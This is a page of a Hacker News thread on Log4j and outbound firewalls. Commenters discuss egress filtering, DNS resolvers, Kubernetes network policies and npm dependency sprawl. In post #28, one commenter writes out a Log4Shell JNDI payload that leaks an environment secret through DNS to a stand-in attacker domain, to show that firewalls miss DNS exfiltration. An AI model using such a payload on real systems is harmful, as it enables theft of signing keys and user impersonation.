Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Apache Log4j vulnerability shows the importance of SBOMs of running apps

codenotary.com

Post reply on HN
Print view View original

21–30 of 58 posts

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#21

Post by toyg »

samwillis wrote: post #14
323 wrote: post #10

Earlier quoted context omitted.

Windows has an enabled by default outbound firewall. The problem is that most apps want to connect to the net these days (check for updates, telemetry, ....) so when an app is installed it adds a firewall exception.

Sure, on desktop. But for a server app (which you built and manage) where you are only talking to known endpoints everything else should be blocked, but we don’t do it. We all use platforms for our apps where anything we use could be compromised and connect to the outside world!

Some people do it, but the maintenance effort is nontrivial.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#22

Post by tinus_hn »

samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

Because then you have to define what the package is going to do and it’s a lot of work. And now you don’t have to do that work.

And of course, in this case it only takes one app using this library that has a legitimate use case for unlimited acces. Unless you find a way to limit libraries separately.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#23

Post by notreallyserio »

diroussel wrote: post #13
samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

I was on a team that tried to implement this at a bank, using azure. The idea was not at the app level but at machine (vm) level. Machines in the legacy data center didn’t have internet access, and so they didn’t want could machines to have it either. But once we locked down the network so many things broke. Not just user level stuff like doing code builds in maven, but also machine level stuff like enabling drive en…

Google offers a way to access Google services from your VM 1918 IPs so you don't need to use NAT. I wonder if Azure would consider doing the same.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#24

Post by samwillis »

323 wrote: post #18
samwillis wrote: post #14

Earlier quoted context omitted.

Sure, on desktop. But for a server app (which you built and manage) where you are only talking to known endpoints everything else should be blocked, but we don’t do it. We all use platforms for our apps where anything we use could be compromised and connect to the outside world!

> where you are only talking to known endpoint everything else should be blocked I just realized that neither the Windows Firewall, nor the Linux one (ufw/iptables at least) allow you to block based on domain names. They only allow IP address rules.

Exactly, there is a technical limitation (I understand why) of only blocking by IP not hostname, if the IP changes it breaks.

Why has this not been solved in the last 50 years? You should be able to block by hostname, it’s how networks are defined.

We are an industry of problem solvers but this one seems to have been ignored.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#25

Post by nrmitchi »

samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

There are many options for this, but at the end of the day it comes down to "it's a pain in the ass and isn't worth the effort for most applications". Obviously non-interactive exploits like log4shell change the math on this.

My current company is using Cilium (and CNPs) within Kubernetes to solve for this, although it does have some issues. Calico has fqdn filtering in it's "Pro" versions.

For covering a whole VPC you can look at AWS's Route53 DNS Resolver Firewall (which sort of addresses the same class of concerns. There are gateway's that will address this at a VPC level too (probably the best solution) like Aviatrix or Chaser Systems' "discriminNAT".

The point is that there are solutions for this, just the UX around managing them could be a lot better, and at the current price point isn't worth the risk for the fast majority of projects.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#26

Post by infotogivenm »

samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

People absolutely do this all the time. With k8s and container policies its easier than ever to audit and can have an element of dynamicism. Docker has many many usecases; if you are using it for workloads in production you’ll want to follow benchmarks like CIS, which will tell you to do this. There are scripts you can run to automate a lot of this.

However, you’d still show up as vulnerable here. This is because even with proper egress filters many systems will default resolve DNS out to the internet. Some people fix this too, by running restricted local DNS servers at another privilege level. But if DNS is your only way out, the worst impact I’ve seen so far is info disclosure - I have not seen RCE possible with this bug when a normal firewall is set up. But hackers are creative so I am keeping an eye out.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#27

Post by samwillis »

tinus_hn wrote: post #22
samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

Because then you have to define what the package is going to do and it’s a lot of work. And now you don’t have to do that work. And of course, in this case it only takes one app using this library that has a legitimate use case for unlimited acces. Unless you find a way to limit libraries separately.

“it’s a lot of work” should never be a reason for not securing an system.

It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#28

Post by formerly_proven »

samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

> Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Not really, but it's important to keep in mind that these kinds of things are less effective than you might imagine. E.g. using the system resolver wouldn't be covered by a firewall in most configurations, so this doesn't help you for an exploit like ${jndi:ldap://${env:AUTH_COOKIE_SIGNING_KEY}.attackercontrolleddns.com} followed by impersonating any user.

Even if you correctly lock down the application server networks and nodes, I'd be surprised to find a restricted DNS resolver in place. It's a good idea for sure, but I'd expect it to be very rarely done. Not least because "exfiltrate data over DNS" is probably not a well-known vector.

> (Obviously everyone should already be using inbound WAF such as CloudFlare)

How is this obvious? This is not a trivial matter.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#29

Post by yardstick »

samwillis wrote: post #5

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible? With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if…

> Why are we not all using some sort of outbound firewall for our apps?

Some places do. The systems I deal with definitely do, and it’s common in banking and card payment systems (PCI DSS has strict firewall requirements). Even our non payment systems we still restrict outbound access.

I think it comes down more to what focus your organisation has. Especially how important security plays in it.

This is also why I hate third party APIs that can’t be firewalled by IP/subnet but only by domain. Especially those operating behind a cloud load balancer like AWS ELB, because they are extremely/impossibly difficult to firewall without introducing risk of permitting access to other services also using the load balancer. Dealing with HTTP/HTTPS proxies is a pain and introduces yet another attack vector.

Re: Apache Log4j vulnerability shows the importance of SBOMs of running apps

#30

Post by simion314 »

cabernal wrote: post #11
mikro2nd wrote: post #2

"Oh, just run `node install` and you'll be fine..."

Even when the supply chain attacks are not related to the JS ecosystem, JS/NPM gets mocked - inaccurately even...

>Even when the supply chain attacks are not related to the JS ecosystem, JS/NPM gets mocked - inaccurately even...

js/npm really desirves it, I lost many hours last week because the shitty philosophy of spiting things not in libraries but in mainly functions and add on top of that packages with incorrect package.json, packages that depend on git repositories or shit where package X is bugged on node version Y so you should upgrade node but if I upgrade node then package W is now incompatible. (I inherited this project os is not my fault it uses outdated stuff or shit that is not longer cool).

With this Java log library it seems it does logging and you don't need also a leftpad and isOdd to have it working, some other library that just defines colors, some other library that changes the output from plain text to csv etc.

IMO using 1 lib for logging, 1 for unit tests, 1 for db access, 1 for http, 1 for GUI makes sense , what is stupid is if this 5 libraries combined will depend on 100+ libraries , we need to push against this since the npm philosophy and CV driven development is spreading.

Post reply on HN